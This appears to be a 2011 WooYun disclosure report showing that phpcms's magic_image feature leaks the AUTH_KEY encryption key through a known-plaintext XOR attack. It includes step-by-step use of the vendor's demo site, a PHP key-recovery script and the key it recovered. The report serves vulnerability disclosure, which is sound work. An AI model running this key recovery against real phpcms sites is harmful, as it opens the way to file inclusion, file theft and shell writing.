当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(3) 关注此漏洞

缺陷编号: WooYun-2011-01824

漏洞标题: phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

相关厂商: 盛大网络

漏洞作者: c4rp3nt3r

提交时间: 2011-04-05 19:03

公开时间: 2011-05-06 00:00

漏洞类型: 敏感信息泄露

危害等级: 中

自评Rank: 10

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 无

3人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2011-04-05: 细节已通知厂商并且等待厂商处理中
2011-04-06: 厂商已经确认,细节仅向厂商公开
2011-04-16: 细节向核心白帽子及相关领域专家公开
2011-04-26: 细节向普通白帽子公开
2011-05-06: 细节向实习白帽子公开
2011-05-06: 细节向公众公开

简要描述:

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞

by c4rp3nt3r@0x50sec.org
phpcms又一个鸡肋,有木有~~~我只是证明漏洞的存在
phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。
而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。

《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》http://www.wooyun.org/bugs/wooyun-2010-01795
已经说明了两个破解"phpcms_auth函数的加密密钥AUTH_KEY"的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。
是的开放的phpcms真的给我们这样的了,没有保留。

上一篇说到"破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。"
其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。

详细说明:

phpcms的另一个phpcms_auth函数的加密密钥AUTH_KEY泄漏漏洞



phpcms的phpcms_auth函数的加密密钥AUTH_KEY泄漏会导致本地包含任意文件下载等多个漏洞。

而对phpcms2008有的本地包含又可以导致直接写shell和删除文件。所以泄漏了phpcms的phpcms_auth函数的加密密钥AUTH_KEY就可能直接导致被秒杀。



《phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞》 WooYun: phpcms的phpcms_auth导致的本地文件包含漏洞和任意文件下载漏洞

已经说明了两个破解"phpcms_auth函数的加密密钥AUTH_KEY"的方法,但是还不是很理想,最理想的是直接给我们足够的明文和密文。

是的开放的phpcms真的给我们这样的了,没有保留。



上一篇说到"破解了这个函数之后,一方面反而更加不安全了,另一方面所有建立在这个函数之上的机制可能都会受到攻击。"

其实一切建立在这个函数上的代码都可能给我们机会破解这个密钥。

来看magic_image函数,主要作用就是将字符串生成一个图片,这样做应该是为了防止别人采集网站上的数据,或者是防止泄漏隐私。



code 区域
// include global.fun.php

function magic_image($txt, $fonttype = 4)
{
if(empty($txt)) return false;
if(function_exists("imagepng"))
{
$txt = urlencode(phpcms_auth($txt, 'ENCODE', AUTH_KEY));
$txt = '<img src="'.PHPCMS_PATH.'magic_image.php?gd=1&fonttype='.$fonttype.'&txt='.$txt.'" align="absmiddle">';
}
return $txt;
}





在招聘、供求信息、跳蚤市场等多个功能模块都用到了这个函数。而且像供求信息、跳蚤市场貌似普通注册用户就能发贴。

发贴的时候在电话号码或邮箱那的字符就会被magic_image函数加密,显示给用户的时候又会调用magic_image.php文件,对字符串解密并进行生成图片。

就是说:

我们可以自定义明文

并且我们也可以得到明文加密后的密文



这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可),不费什么力气。





--------------------

举例说明

1.在http://demo.phpcms.cn随便注册个普通用户会员

2.在跳蚤市场那

http://demo.phpcms.cn/info/sale/

随便点开一个信息页点右侧的 【免费发布信息】 http://demo.phpcms.cn/contribute.php?catid=22

随便发一条信息

使用邮箱为

mailc4rp3nt3r@gmail.com

3.最后找到我们发布的信息:

http://demo.phpcms.cn/2011/0405/366.html

查看邮箱图片的地址

http://demo.phpcms.cn/magic_image.php?gd=1&fonttype=4&txt=ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D

--------------------



好了

明文:mailc4rp3nt3r@gmail.com

密文:ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D



解密一下:



code 区域
<?php
$key="mailc4rp3nt3r@gmail.com";
$txt='ADcCAw9wKjtaOhNGAS0uPQorC14OOQY%3D';
$txt=base64_decode(urldecode($txt));

for($i=0;$i<strlen($key);$i++)
{
$code .= $txt[$i] ^ $key[$i];
}
echo $code;

?>





运行结果:

$ php /var/www/vul.php

OXdcFVodxAcbCUeTgLBgOXdc



我们的密钥就是:

OXdcFVodxAcbCUeTgLBg







































漏洞证明:

http://demo.phpcms.cn/ 此站密钥为 OXdcFVodxAcbCUeTgLBg

修复方案:

版权声明:转载请注明来源 c4rp3nt3r@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2011-04-06 10:07

厂商回复:

谢谢c4rp3nt3r提交漏洞信息。

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2011-04-05 19:05 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    1

    这就意味这我们可以得到全部密文(只要电话或邮箱的长度大于20位即可),不费什么力气。 应为: 这就意味这我们可以得到全部密钥(只要电话或邮箱的长度大于20位即可),不费什么力气。 phpcms2008 sp2 or sp4版本没仔细看

  2. 2011-04-05 23:00 | xsser 认证白帽子 ( 普通白帽子 | Rank:297 漏洞数:22 | 当我又回首一切,这个世界会好吗?)
    1

    介个哥哥好深入

  3. 2011-05-03 20:32 | saga ( 路人 | Rank:11 漏洞数:2 | 世界上只有10种人,懂二进制的,和不懂二进...)
    1

    介个锅锅好认真阿,上回才给5r.

  4. 2011-05-06 11:21 | c4rp3nt3r ( 实习白帽子 | Rank:70 漏洞数:10 | 人生的意义就在于从一个圈子跳到另一个更大...)
    1

    伤不起啊~~~

  5. 2011-05-06 14:40 | J4nker ( 普通白帽子 | Rank:136 漏洞数:35 | I have a dream)
    1

    伤不起啊~~很深入啊…

登录后才能发表评论,请先 登录